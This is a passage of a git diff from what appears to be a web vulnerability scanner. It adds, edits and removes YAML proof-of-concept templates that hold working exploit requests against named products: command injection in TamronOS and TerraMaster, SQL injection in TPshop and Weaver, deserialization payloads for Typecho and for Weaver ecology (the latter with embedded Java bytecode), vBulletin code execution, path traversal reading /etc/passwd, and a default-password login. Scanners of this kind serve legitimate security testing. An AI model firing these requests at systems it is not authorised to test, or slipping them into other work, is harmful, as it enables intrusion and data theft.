response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No7.yml b/WebScan/pocs/swagger-ui-unauth-No7.yml deleted file mode 100644 index 2e130c9..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No7.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth7 -rules: - - method: GET - path: /libs/swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No8.yml b/WebScan/pocs/swagger-ui-unauth-No8.yml deleted file mode 100644 index 33a63f4..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No8.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui8 -rules: - - method: GET - path: /template/swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth.yml b/WebScan/pocs/swagger-ui-unauth.yml new file mode 100644 index 0000000..bafddd3 --- /dev/null +++ b/WebScan/pocs/swagger-ui-unauth.yml @@ -0,0 +1,20 @@ +name: poc-yaml-swagger-ui-unauth +sets: + path: + - swagger-ui.html + - api/swagger-ui.html + - service/swagger-ui.html + - web/swagger-ui.html + - swagger/swagger-ui.html + - actuator/swagger-ui.html + - libs/swagger-ui.html + - template/swagger-ui.html +rules: + - method: GET + path: /{{path}} + expression: | + response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") +detail: + author: AgeloVito + links: + - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/tamronos-iptv-rce.yml b/WebScan/pocs/tamronos-iptv-rce.yml new file mode 100644 index 0000000..0b54f5e --- /dev/null +++ b/WebScan/pocs/tamronos-iptv-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-tamronos-iptv-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /api/ping?count=5&host=;echo%20$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}};&port=80&source=1.1.1.1&type=icmp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n + description: TamronOS IPTV系统存在前台命令执行漏洞 + links: + - https://print1n.top/post/Other/TamronOS_IPTV%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E diff --git a/WebScan/pocs/telecom-gateway-default-password.yml b/WebScan/pocs/telecom-gateway-default-password.yml new file mode 100644 index 0000000..80f43ac --- /dev/null +++ b/WebScan/pocs/telecom-gateway-default-password.yml @@ -0,0 +1,17 @@ +name: poc-yaml-telecom-gateway-default-password +rules: + - method: GET + path: /manager/index.php + follow_redirects: false + expression: | + response.status == 200 + - method: POST + path: /manager/login.php + body: Name=admin&Pass=admin + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"<title>电信网关服务器管理后台") && response.body.bcontains(b"index-shang.php") && response.body.bcontains(b"di.php") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E7%94%B5%E4%BF%A1/%E7%94%B5%E4%BF%A1%E7%BD%91%E5%85%B3%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md diff --git a/WebScan/pocs/tensorboard-unauth.yml b/WebScan/pocs/tensorboard-unauth.yml new file mode 100644 index 0000000..74297ad --- /dev/null +++ b/WebScan/pocs/tensorboard-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-tensorboard-unauth +rules: + - method: GET + path: / + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(b"The TensorFlow Authors. All Rights Reserved.") + - method: GET + path: '/data/plugins_listing' + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"profile") && response.body.bcontains(b"distributions") +detail: + author: p0wd3r + links: + - https://www.tensorflow.org/guide/summaries_and_tensorboard?hl=zh-CN diff --git a/WebScan/pocs/terramaster-cve-2020-15568.yml b/WebScan/pocs/terramaster-cve-2020-15568.yml new file mode 100644 index 0000000..d855704 --- /dev/null +++ b/WebScan/pocs/terramaster-cve-2020-15568.yml @@ -0,0 +1,20 @@ +name: poc-yaml-terramaster-cve-2020-15568 +set: + r1: randomLowercase(10) + r2: randomInt(800000000, 1000000000) + r3: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(expr%20{{r2}}%20%2B%20{{r3}})%3E{{r1}} + follow_redirects: false + expression: | + response.status == 200 + - method: GET + path: /include/{{r1}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r2 + r3))) +detail: + author: albertchang + Affected Version: "TOS version 4.1.24 and below" + links: + - https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/ diff --git a/WebScan/pocs/terramaster-tos-rce-cve-2020-28188.yml b/WebScan/pocs/terramaster-tos-rce-cve-2020-28188.yml new file mode 100644 index 0000000..b8ec0cb --- /dev/null +++ b/WebScan/pocs/terramaster-tos-rce-cve-2020-28188.yml @@ -0,0 +1,18 @@ +name: poc-yaml-terramaster-tos-rce-cve-2020-28188 +set: + r1: randomLowercase(10) +rules: + - method: GET + path: /include/makecvs.php?Event=http|echo%20""%20>>%20/usr/www/{{r1}}.php%20&&%20chmod%20755%20/usr/www/{{r1}}.php|| + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/csv") && response.body.bcontains(bytes("Service,DateTime")) + - method: GET + path: /{{r1}}.php + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r1))) +detail: + author: Print1n + links: + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202012-1548 diff --git a/WebScan/pocs/tianqing-info-leak.yml b/WebScan/pocs/tianqing-info-leak.yml index 6bf6789..68f5c0a 100644 --- a/WebScan/pocs/tianqing-info-leak.yml +++ b/WebScan/pocs/tianqing-info-leak.yml @@ -6,4 +6,4 @@ rules: detail: author: jingling(https://github.com/shmilylty) links: - - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g \ No newline at end of file + - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g diff --git a/WebScan/pocs/tongda-user-session-disclosure.yml b/WebScan/pocs/tongda-user-session-disclosure.yml index 05768d9..aad3585 100644 --- a/WebScan/pocs/tongda-user-session-disclosure.yml +++ b/WebScan/pocs/tongda-user-session-disclosure.yml @@ -10,6 +10,7 @@ rules: follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json") + detail: author: kzaopa(https://github.com/kzaopa) links: diff --git a/WebScan/pocs/tpshop-directory-traversal.yml b/WebScan/pocs/tpshop-directory-traversal.yml new file mode 100644 index 0000000..5e2f355 --- /dev/null +++ b/WebScan/pocs/tpshop-directory-traversal.yml @@ -0,0 +1,17 @@ +name: poc-yaml-tpshop-directory-traversal +rules: + - method: GET + path: /index.php/Home/uploadify/fileList?type=.+&path=../ + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("\"state\":\"SUCCESS\""))) && response.body.bcontains(bytes(string("total"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: 'TPshop' + links: + - https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA + - http://www.tp-shop.cn + exploit: + - https://localhost/index.php/Home/uploadify/fileList?type=.+&path=../../ diff --git a/WebScan/pocs/tpshop-sqli.yml b/WebScan/pocs/tpshop-sqli.yml new file mode 100644 index 0000000..51fb7d1 --- /dev/null +++ b/WebScan/pocs/tpshop-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-tpshop-sqli +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: >- + /mobile/index/index2/id/1) and (select 1 from (select count(*),concat(0x716b627671,(select md5({{r}})),0x716b627671,floor(rand(0)*2))x from information_schema.tables group by x)a)-- + follow_redirects: true + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: hanxiansheng26(https://github.com/hanxiansheng26) + Affected Version: "tpshop<3.0" + links: + - https://xz.aliyun.com/t/6635 \ No newline at end of file diff --git a/WebScan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml b/WebScan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml new file mode 100644 index 0000000..3b114d0 --- /dev/null +++ b/WebScan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml @@ -0,0 +1,16 @@ +name: poc-yaml-tvt-nvms-1000-file-read-cve-2019-20085 +manual: true +transport: http +rules: + - method: GET + path: /Pages/login.htm + expression: response.status == 200 && response.body.bcontains(b"NVMS-1000") + + - method: GET + path: /../../../../../../../../../../../../windows/win.ini + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") + +detail: + author: fuzz7j(https://github.com/fuzz7j) + links: + - https://www.exploit-db.com/exploits/47774 diff --git a/WebScan/pocs/typecho-rce.yml b/WebScan/pocs/typecho-rce.yml new file mode 100644 index 0000000..96543ba --- /dev/null +++ b/WebScan/pocs/typecho-rce.yml @@ -0,0 +1,21 @@ +name: poc-yaml-typecho-rce +set: + referer: request.url + random_str: randomLowercase(4) + payload: base64(urldecode("a%3A2%3A%7Bs%3A7%3A%22adapter%22%3BO%3A12%3A%22Typecho_Feed%22%3A2%3A%7Bs%3A19%3A%22%00Typecho_Feed%00_type%22%3Bs%3A8%3A%22ATOM+1.0%22%3Bs%3A20%3A%22%00Typecho_Feed%00_items%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A8%3A%22category%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7Ds%3A6%3A%22author%22%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7D%7D%7Ds%3A6%3A%22prefix%22%3Bs%3A8%3A%22typecho_%22%3B%7D")) +rules: + - method: POST + path: /install.php?finish + headers: + Referer: '{{referer}}' + body: >- + __typecho_config={{payload}} + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes(md5(random_str))) +detail: + author: last0monster(https://github.com/last0monster) + effect_version: typecho < 1.1(17.10.24) + links: + - https://www.freebuf.com/vuls/155753.html + - https://www.freebuf.com/vuls/152058.html \ No newline at end of file diff --git a/WebScan/pocs/uwsgi-cve-2018-7490.yml b/WebScan/pocs/uwsgi-cve-2018-7490.yml new file mode 100644 index 0000000..d646742 --- /dev/null +++ b/WebScan/pocs/uwsgi-cve-2018-7490.yml @@ -0,0 +1,10 @@ +name: poc-yaml-uwsgi-cve-2018-7490 +rules: + - method: GET + path: /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/uwsgi/CVE-2018-7490 \ No newline at end of file diff --git a/WebScan/pocs/vbulletin-cve-2019-16759-bypass.yml b/WebScan/pocs/vbulletin-cve-2019-16759-bypass.yml new file mode 100644 index 0000000..66eda45 --- /dev/null +++ b/WebScan/pocs/vbulletin-cve-2019-16759-bypass.yml @@ -0,0 +1,17 @@ +name: poc-yaml-vbulletin-cve-2019-16759-bypass +set: + f1: randomInt(800000000, 900000000) +rules: + - method: POST + path: /ajax/render/widget_tabbedcontainer_tab_panel + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + subWidgets[0][template]=widget_php&subWidgets[0][config][code]=var_dump(md5({{f1}})); + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(substr(md5(string(f1)), 0, 31))) && response.content_type.contains("application/json") +detail: + author: Loneyer + links: + - https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/ diff --git a/WebScan/pocs/vbulletin-cve-2019-16759.yml b/WebScan/pocs/vbulletin-cve-2019-16759.yml new file mode 100644 index 0000000..06872f0 --- /dev/null +++ b/WebScan/pocs/vbulletin-cve-2019-16759.yml @@ -0,0 +1,19 @@ +name: poc-yaml-vbulletin-cve-2019-16759 +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: / + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + routestring=ajax/render/widget_php&widgetConfig%5bcode%5d=print(md5({{rand}}))%3bexit%3b + follow_redirects: true + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: JingLing(https://hackfun.org/) + vbulletion_version: 5.0.0 - 5.5.4 + links: + - https://securityaffairs.co/wordpress/91689/hacking/unpatched-critical-0-day-vbulletin.html + - https://xz.aliyun.com/t/6419 diff --git a/WebScan/pocs/vengd-upload-rce.yml b/WebScan/pocs/vengd-upload-rce.yml deleted file mode 100644 index deaec2f..0000000 --- a/WebScan/pocs/vengd-upload-rce.yml +++ /dev/null @@ -1,25 +0,0 @@ -name: poc-yaml-vengd-upload-rce -set: - r1: randomLowercase(4) - r2: randomLowercase(4) - r3: randomInt(40000, 44800) - r4: randomInt(40000, 44800) -rules: - - method: POST - path: /Upload/upload_file.php?l={{r1}} - headers: - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv - body: |- - ------WebKitFormBoundaryfcKRltGv - Content-Disposition: form-data; name="file"; filename="{{r2}}.php" - Content-Type: image/avif - - ------WebKitFormBoundaryfcKRltGv-- - expression: response.status == 200 && response.body.bcontains(b"_Request:") - - method: GET - path: '/Upload/{{r1}}/{{r2}}.php' - expression: response.status == 200 && response.body.bcontains(bytes(string(r3 * r4))) -detail: - author: jingling(https://github.com/shmilylty) - links: - - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g \ No newline at end of file diff --git a/WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml b/WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml index a32c5c2..d831b24 100644 --- a/WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml +++ b/WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml @@ -1,10 +1,17 @@ name: poc-yaml-vmware-vcenter-arbitrary-file-read -rules: - - method: GET - path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties - follow_redirects: false - expression: | - response.status == 200 && response.body.bcontains(b"org.postgresql.Driver") +groups: + win: + - method: GET + path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"org.postgresql.Driver") + linux: + - method: GET + path: /eam/vib?id=/etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: MrP01ntSun(https://github.com/MrPointSun) links: diff --git a/WebScan/pocs/vmware-vcenter-arbitrary-file-read2.yml b/WebScan/pocs/vmware-vcenter-arbitrary-file-read2.yml deleted file mode 100644 index 064aa10..0000000 --- a/WebScan/pocs/vmware-vcenter-arbitrary-file-read2.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: poc-yaml-vmware-vcenter-arbitrary-file-read2 -rules: - - method: GET - path: /eam/vib?id=/etc/passwd - follow_redirects: false - expression: | - response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) -detail: - author: MrP01ntSun(https://github.com/MrPointSun) - links: - - https://t.co/LfvbyBUhF5 diff --git a/WebScan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml b/WebScan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml index 6b27d65..c639f7e 100644 --- a/WebScan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml +++ b/WebScan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml @@ -12,4 +12,4 @@ rules: detail: author: Loneyer links: - - https://www.vmware.com/security/advisories/VMSA-2021-0004.html \ No newline at end of file + - https://www.vmware.com/security/advisories/VMSA-2021-0004.html diff --git a/WebScan/pocs/weaver-ebridge-file-read-linux.yml b/WebScan/pocs/weaver-ebridge-file-read-linux.yml deleted file mode 100644 index 47d9379..0000000 --- a/WebScan/pocs/weaver-ebridge-file-read-linux.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: poc-yaml-weaver-ebridge-file-read-linux -rules: - - method: GET - path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" - follow_redirects: false - expression: | - response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") - search: | - \"id\"\:\"(?P.+?)\"\, - - method: GET - path: "/file/fileNoLogin/{{var}}" - follow_redirects: false - expression: | - response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) -detail: - author: mvhz81 - info: e-bridge-file-read for Linux - links: - - https://mrxn.net/Infiltration/323.html diff --git a/WebScan/pocs/weaver-ebridge-file-read-windows.yml b/WebScan/pocs/weaver-ebridge-file-read-windows.yml deleted file mode 100644 index cb06435..0000000 --- a/WebScan/pocs/weaver-ebridge-file-read-windows.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: poc-yaml-weaver-ebridge-file-read-windows -rules: - - method: GET - path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt - follow_redirects: false - expression: | - response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") - search: | - \"id\"\:\"(?P.+?)\"\, - - method: GET - path: /file/fileNoLogin/{{var}} - follow_redirects: false - expression: | - response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) -detail: - author: mvhz81 - info: e-bridge-file-read for windows - links: - - https://mrxn.net/Infiltration/323.html diff --git a/WebScan/pocs/weaver-ebridge-file-read.yml b/WebScan/pocs/weaver-ebridge-file-read.yml new file mode 100644 index 0000000..55d0ffb --- /dev/null +++ b/WebScan/pocs/weaver-ebridge-file-read.yml @@ -0,0 +1,34 @@ +name: poc-yaml-weaver-ebridge-file-read +groups: + linux: + - method: GET + path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") + search: | + \"id\"\:\"(?P.+?)\"\, + - method: GET + path: "/file/fileNoLogin/{{var}}" + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + + windows: + - method: GET + path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") + search: | + \"id\"\:\"(?P.+?)\"\, + - method: GET + path: /file/fileNoLogin/{{var}} + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) +detail: + author: mvhz81 + info: e-bridge-file-read for Linux + links: + - https://mrxn.net/Infiltration/323.html diff --git a/WebScan/pocs/weaver-ecology-sqli.yml b/WebScan/pocs/weaver-ecology-sqli.yml deleted file mode 100644 index 3a732d1..0000000 --- a/WebScan/pocs/weaver-ecology-sqli.yml +++ /dev/null @@ -1,13 +0,0 @@ -name: poc-yaml-ecology-sqli -set: - rand: randomInt(200000000, 210000000) -rules: - - method: GET - path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager - follow_redirects: false - expression: | - response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) -detail: - author: whami-root(https://github.com/whami-root) - links: - - https://github.com/whami-root \ No newline at end of file diff --git a/WebScan/pocs/weaver-ecology-workflowservicexml-2.yml b/WebScan/pocs/weaver-ecology-workflowservicexml-2.yml deleted file mode 100644 index 46d2ace..0000000 --- a/WebScan/pocs/weaver-ecology-workflowservicexml-2.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: poc-yaml-ecology-workflowservicexml -set: - rand1: randomInt(1000, 9999) - rand2: randomInt(1000, 9999) -rules: - - method: POST - path: /services%20/WorkflowServiceXml - headers: - Content-Type: text/xml - cmd: bin/bash -c 'expr {{rand1}} + {{rand2}}' - follow_redirects: false - body: | - <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> 